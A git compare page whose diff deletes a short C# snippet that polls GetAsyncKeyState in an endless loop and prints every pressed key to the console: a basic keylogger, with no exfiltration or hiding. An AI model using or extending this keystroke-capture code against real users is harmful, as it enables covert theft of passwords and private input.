Compare commits

..

No commits in common. "06c8380a6470b466cb6b16dc1c13cbddb94d570e" and "70ef060debadefd4f1634c09e63361959ab65c44" have entirely different histories.

View File

@ -1,21 +0,0 @@
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
while (true)
{
Thread.Sleep(100);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
// 32769 should be used for windows 10.
if (keyState == 1 || keyState == -32767 || keyState == 32769)
{
Console.WriteLine((char)i);
break;
}
}
}
}